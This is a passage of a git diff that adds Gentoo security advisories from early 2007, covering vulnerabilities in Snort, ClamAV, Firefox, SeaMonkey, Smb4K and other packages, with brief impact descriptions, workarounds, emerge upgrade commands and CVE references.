+    The Snort DCE/RPC preprocessor contains a buffer overflow that could result
+    in the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">snort</product>
+  <announced>February 23, 2007</announced>
+  <revised>March 02, 2007: 02</revised>
+  <bug>167730</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/snort" auto="yes" arch="*">
+      <unaffected range="ge">2.6.1.3</unaffected>
+      <vulnerable range="lt">2.6.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Snort is a widely deployed intrusion detection program.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Snort DCE/RPC preprocessor does not properly reassemble certain
+    types of fragmented SMB and DCE/RPC packets.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted fragmented SMB or
+    DCE/RPC packets, without the need to finish the TCP handshake, that
+    would trigger a stack-based buffer overflow while being reassembled.
+    This could lead to the execution of arbitrary code with the permissions
+    of the user running the Snort preprocessor.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the DCE/RPC processor by commenting the 'preprocessor dcerpc'
+    section in /etc/snort/snort.conf .
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Snort users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/snort-2.6.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5276">CVE-2006-5276</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 23 Feb 2007 17:25:01 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 Feb 2007 18:06:20 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-02.xml b/xml/htdocs/security/en/glsa/glsa-200703-02.xml
new file mode 100644
index 00000000..3d2f1665
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-02.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-02">
+  <title>SpamAssassin: Long URI Denial of Service</title>
+  <synopsis>
+    SpamAssassin is vulnerable to a Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">spamassassin</product>
+  <announced>March 02, 2007</announced>
+  <revised>March 02, 2007: 01</revised>
+  <bug>166969</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-filter/spamassassin" auto="yes" arch="*">
+      <unaffected range="ge">3.1.8</unaffected>
+      <vulnerable range="lt">3.1.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SpamAssassin is an extensible email filter used to identify junk email.
+    </p>
+  </background>
+  <description>
+    <p>
+    SpamAssassin does not correctly handle very long URIs when scanning
+    emails.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could cause SpamAssassin to consume large amounts of CPU
+    and memory resources by sending one or more emails containing very long
+    URIs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SpamAssassin users should upgrade to the latest version.
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-filter/spamassassin-3.1.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0451">CVE-2007-0451</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 25 Feb 2007 19:43:02 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 25 Feb 2007 19:46:27 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 26 Feb 2007 18:49:30 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-03.xml b/xml/htdocs/security/en/glsa/glsa-200703-03.xml
new file mode 100644
index 00000000..4366fd02
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-03.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-03">
+  <title>ClamAV: Denial of Service</title>
+  <synopsis>
+    ClamAV contains two vulnerabilities allowing a Denial of Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>March 02, 2007</announced>
+  <revised>March 02, 2007: 01</revised>
+  <bug>167201</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.90</unaffected>
+      <vulnerable range="lt">0.90</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    An anonymous researcher discovered a file descriptor leak error in the
+    processing of CAB archives and a lack of validation of the "id"
+    parameter string used to create local files when parsing MIME headers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can send several crafted CAB archives with a
+    zero-length record header that will fill the available file descriptors
+    until no other is available, which will prevent ClamAV from scanning
+    most archives. An attacker can also send an email with specially
+    crafted MIME headers to overwrite local files with the permissions of
+    the user running ClamAV, such as the virus database file, which could
+    prevent ClamAV from detecting any virus.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The first vulnerability can be prevented by refusing any file of type
+    CAB, but there is no known workaround for the second issue.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.90&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0897">CVE-2007-0897</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0898">CVE-2007-0898</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 26 Feb 2007 22:43:01 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 Feb 2007 13:49:10 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 02 Mar 2007 00:24:54 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-04.xml b/xml/htdocs/security/en/glsa/glsa-200703-04.xml
new file mode 100644
index 00000000..42e3be6e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-04.xml
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-04">
+  <title>Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Firefox, some of
+    which may allow user-assisted arbitrary remote code execution.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox</product>
+  <announced>March 02, 2007</announced>
+  <revised>March 02, 2007: 01</revised>
+  <bug>165555</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="rge">1.5.0.10</unaffected>
+      <unaffected range="ge">2.0.0.2</unaffected>
+      <vulnerable range="lt">2.0.0.2</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="rge">1.5.0.10</unaffected>
+      <unaffected range="ge">2.0.0.2</unaffected>
+      <vulnerable range="lt">2.0.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is a popular open-source web browser from the Mozilla
+    Project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tom Ferris reported a heap-based buffer overflow involving wide SVG
+    stroke widths that affects Mozilla Firefox 2 only. Various researchers
+    reported some errors in the JavaScript engine potentially leading to
+    memory corruption. Mozilla Firefox also contains minor vulnerabilities
+    involving cache collision and unsafe pop-up restrictions, filtering or
+    CSS rendering under certain conditions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to view a specially crafted web page
+    that will trigger one of the vulnerabilities, possibly leading to the
+    execution of arbitrary code. It is also possible for an attacker to
+    spoof the address bar, steal information through cache collision,
+    bypass the local files protection mechanism with pop-ups, or perform
+    cross-site scripting attacks, leading to the exposure of sensitive
+    information, like user credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for all of these issues, but
+    most of them can be avoided by disabling JavaScript.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users upgrading to the following releases of Mozilla Firefox should
+    note that this upgrade has been found to lose the saved passwords file
+    in some cases. The saved passwords are encrypted and stored in the
+    'signons.txt' file of ~/.mozilla/ and we advise our users to save that
+    file before performing the upgrade.
+    </p>
+    <p>
+    All Mozilla Firefox 1.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.5.0.10&quot;</code>
+    <p>
+    All Mozilla Firefox 1.5 binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.5.0.10&quot;</code>
+    <p>
+    All Mozilla Firefox 2.0 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-2.0.0.2&quot;</code>
+    <p>
+    All Mozilla Firefox 2.0 binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-2.0.0.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6077">CVE-2006-6077</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0775">CVE-2007-0775</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0776">CVE-2007-0776</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0777">CVE-2007-0777</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0778">CVE-2007-0778</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0779">CVE-2007-0779</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0780">CVE-2007-0780</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0800">CVE-2007-0800</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0801">CVE-2007-0801</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0981">CVE-2007-0981</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0995">CVE-2007-0995</uri>
+    <uri link="https://bugzilla.mozilla.org/show_bug.cgi?id=360493#c366">Mozilla password loss bug</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 27 Feb 2007 18:38:44 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 01 Mar 2007 15:14:03 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 01 Mar 2007 15:15:57 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-05.xml b/xml/htdocs/security/en/glsa/glsa-200703-05.xml
new file mode 100644
index 00000000..f3b1d5d8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-05.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-05">
+  <title>Mozilla Suite: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities exist in the Mozilla Suite, which is no longer
+    supported by the Mozilla project.
+  </synopsis>
+  <product type="ebuild">mozilla</product>
+  <announced>March 03, 2007</announced>
+  <revised>March 03, 2007: 01</revised>
+  <bug>135257</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <vulnerable range="le">1.7.13</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <vulnerable range="le">1.7.13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Suite is a popular all-in-one web browser that includes a
+    mail and news reader.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities ranging from code execution with elevated
+    privileges to information leaks affect the Mozilla Suite.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to browse to a specially crafted
+    website or open a specially crafted mail that could trigger some of the
+    vulnerabilities, potentially allowing execution of arbitrary code,
+    denials of service, information leaks, or cross-site scripting attacks
+    leading to the robbery of cookies of authentication credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Most of the issues, but not all of them, can be prevented by disabling
+    the HTML rendering in the mail client and JavaScript on every
+    application.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    The Mozilla Suite is no longer supported and has been masked after some
+    necessary changes on all the other ebuilds which used to depend on it.
+    Mozilla Suite users should unmerge www-client/mozilla or
+    www-client/mozilla-bin, and switch to a supported product, like
+    SeaMonkey, Thunderbird or Firefox.
+    </p>
+    <code>
+    
+    # emerge --unmerge &quot;www-client/mozilla&quot;
+    
+    # emerge --unmerge &quot;www-client/mozilla-bin&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#Mozilla">Official Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 23 Feb 2007 17:38:03 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 Feb 2007 15:55:16 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 27 Feb 2007 15:58:20 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-06.xml b/xml/htdocs/security/en/glsa/glsa-200703-06.xml
new file mode 100644
index 00000000..84fe3d0e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-06.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-06">
+  <title>AMD64 x86 emulation Qt library: Integer overflow</title>
+  <synopsis>
+    The AMD64 x86 emulation Qt library makes use of an insecure version of the
+    Qt library, potentially allowing for the remote execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">emul-linux-x86-qtlibs</product>
+  <announced>March 04, 2007</announced>
+  <revised>March 04, 2007: 01</revised>
+  <bug>153704</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-emulation/emul-linux-x86-qtlibs" auto="yes" arch="*">
+      <unaffected range="ge">10.0</unaffected>
+      <vulnerable range="lt">10.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The AMD64 x86 emulation Qt library for AMD64 emulates the x86 (32-bit)
+    Qt library on the AMD64 (64-bit) architecture.
+    </p>
+  </background>
+  <description>
+    <p>
+    An integer overflow flaw has been found in the pixmap handling of Qt,
+    making the AMD64 x86 emulation Qt library vulnerable as well.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted pixmap image in an
+    application using the AMD64 x86 emulation Qt library, a remote attacker
+    could cause an application crash or the remote execution of arbitrary
+    code with the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AMD64 x86 emulation Qt library users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-qtlibs-10.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200611-02.xml">GLSA 200611-02</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4811">CVE-2006-4811</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 17 Feb 2007 23:37:01 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Feb 2007 00:18:57 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 Feb 2007 16:14:33 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-07.xml b/xml/htdocs/security/en/glsa/glsa-200703-07.xml
new file mode 100644
index 00000000..13c09401
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-07.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-07">
+  <title>STLport: Possible remote execution of arbitrary code</title>
+  <synopsis>
+    Two buffer overflows have been discovered in STLport possibly leading to
+    the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">STLport</product>
+  <announced>March 06, 2007</announced>
+  <revised>March 06, 2007: 01</revised>
+  <bug>165837</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/STLport" auto="yes" arch="*">
+      <unaffected range="ge">5.0.3</unaffected>
+      <vulnerable range="lt">5.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    STLport is a multi-platform C++ Standard Library implementation.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two buffer overflows have been discovered, one in "print floats" and
+    one in the rope constructor.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Both of the buffer overflows could result in the remote execution of
+    arbitrary code. Please note that the exploitability of the
+    vulnerabilities depends on how the library is used by other software
+    programs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All STLport users should upgrade to the latest version.
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/STLport-5.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0803">CVE-2007-0803</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 12 Feb 2007 07:45:45 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Feb 2007 12:07:38 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 18 Feb 2007 22:45:11 +0000">
+    aetius
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-08.xml b/xml/htdocs/security/en/glsa/glsa-200703-08.xml
new file mode 100644
index 00000000..e85c39d3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-08.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-08">
+  <title>SeaMonkey: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in SeaMonkey, some of which may
+    allow user-assisted arbitrary remote code execution.
+  </synopsis>
+  <product type="ebuild">seamonkey</product>
+  <announced>March 09, 2007</announced>
+  <revised>March 09, 2007: 01</revised>
+  <bug>165555</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.1.1</unaffected>
+      <vulnerable range="lt">1.1.1</vulnerable>
+    </package>
+    <package name="www-client/seamonkey-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.1.1</unaffected>
+      <vulnerable range="lt">1.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The SeaMonkey project is a community effort to deliver
+    production-quality releases of code derived from the application
+    formerly known as the 'Mozilla Application Suite'.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tom Ferris reported a heap-based buffer overflow involving wide SVG
+    stroke widths that affects SeaMonkey. Various researchers reported some
+    errors in the JavaScript engine potentially leading to memory
+    corruption. SeaMonkey also contains minor vulnerabilities involving
+    cache collision and unsafe pop-up restrictions, filtering or CSS
+    rendering under certain conditions. All those vulnerabilities are the
+    same as in GLSA 200703-04 affecting Mozilla Firefox.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to view a specially crafted web page or
+    to read a specially crafted email that will trigger one of the
+    vulnerabilities, possibly leading to the execution of arbitrary code.
+    It is also possible for an attacker to spoof the address bar, steal
+    information through cache collision, bypass the local file protection
+    mechanism with pop-ups, or perform cross-site scripting attacks,
+    leading to the exposure of sensitive information, such as user
+    credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for all of these issues, but
+    most of them can be avoided by disabling JavaScript. Note that the
+    execution of JavaScript is disabled by default in the SeaMonkey email
+    client, and enabling it is strongly discouraged.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users upgrading to the following release of SeaMonkey should note that
+    the corresponding Mozilla Firefox upgrade has been found to lose the
+    saved passwords file in some cases. The saved passwords are encrypted
+    and stored in the 'signons.txt' file of ~/.mozilla/ and we advise our
+    users to save that file before performing the upgrade.
+    </p>
+    <p>
+    All SeaMonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.1.1&quot;</code>
+    <p>
+    All SeaMonkey binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-bin-1.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6077">CVE-2006-6077</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0775">CVE-2007-0775</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0776">CVE-2007-0776</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0777">CVE-2007-0777</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0778">CVE-2007-0778</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0779">CVE-2007-0779</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0780">CVE-2007-0780</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0800">CVE-2007-0800</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0801">CVE-2007-0801</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0981">CVE-2007-0981</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0995">CVE-2007-0995</uri>
+    <uri link="https://bugzilla.mozilla.org/show_bug.cgi?id=360493#c366">Mozilla Password Loss Bug</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 04 Mar 2007 00:05:48 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 09 Mar 2007 22:48:00 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-09.xml b/xml/htdocs/security/en/glsa/glsa-200703-09.xml
new file mode 100644
index 00000000..405643b7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-09.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-09">
+  <title>Smb4K: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified in Smb4K.
+  </synopsis>
+  <product type="ebuild">smb4k</product>
+  <announced>March 09, 2007</announced>
+  <revised>March 09, 2007: 01</revised>
+  <bug>156152</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/smb4k" auto="yes" arch="*">
+      <unaffected range="ge">0.6.10a</unaffected>
+      <vulnerable range="lt">0.6.10a</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Smb4K is a SMB/CIFS (Windows) share browser for KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kees Cook of the Ubuntu Security Team has identified multiple
+    vulnerabilities in Smb4K.
+    </p>
+    <ul><li>The writeFile() function of
+    smb4k/core/smb4kfileio.cpp makes insecure usage of temporary
+    files.</li>
+    <li>The writeFile() function also stores the contents of
+    the sudoers file with incorrect permissions, allowing for the file's
+    contents to be world-readable.</li>
+    <li>The createLockFile() and
+    removeLockFile() functions improperly handle lock files, possibly
+    allowing for a race condition in file handling.</li>
+    <li>The smb4k_kill
+    utility distributed with Smb4K allows any user in the sudoers group to
+    kill any process on the system.</li>
+    <li>Lastly, there is the potential
+    for multiple stack overflows when any Smb4K utility is used with the
+    sudo command.</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could gain unauthorized access to arbitrary files via
+    numerous attack vectors. In some cases to obtain this unauthorized
+    access, an attacker would have to be a member of the sudoers list.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Smb4K users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/smb4k-0.6.10a&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0472">CVE-2007-0472</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0473">CVE-2007-0473</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0474">CVE-2007-0474</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0475">CVE-2007-0475</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 12 Feb 2007 22:36:28 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Feb 2007 22:42:10 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 Feb 2007 15:26:26 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-10.xml b/xml/htdocs/security/en/glsa/glsa-200703-10.xml
new file mode 100644
index 00000000..24fc38bd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-10">
+  <title>KHTML: Cross-site scripting (XSS) vulnerability</title>
+  <synopsis>
+    The KHTML component shipped with the KDE libraries is prone to a cross-site
+    scripting (XSS) vulnerability.
+  </synopsis>
+  <product type="ebuild">kdelibs</product>
+  <announced>March 10, 2007</announced>
+  <revised>March 10, 2007: 01</revised>
+  <bug>165606</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="ge">3.5.5-r8</unaffected>
+      <vulnerable range="lt">3.5.5-r8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. KHTML is the HTML interpreter used in
+    Konqueror and other parts of KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    The KHTML code allows for the execution of JavaScript code located
+    inside the "Title" HTML element, a related issue to the Safari error
+    found by Jose Avila.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
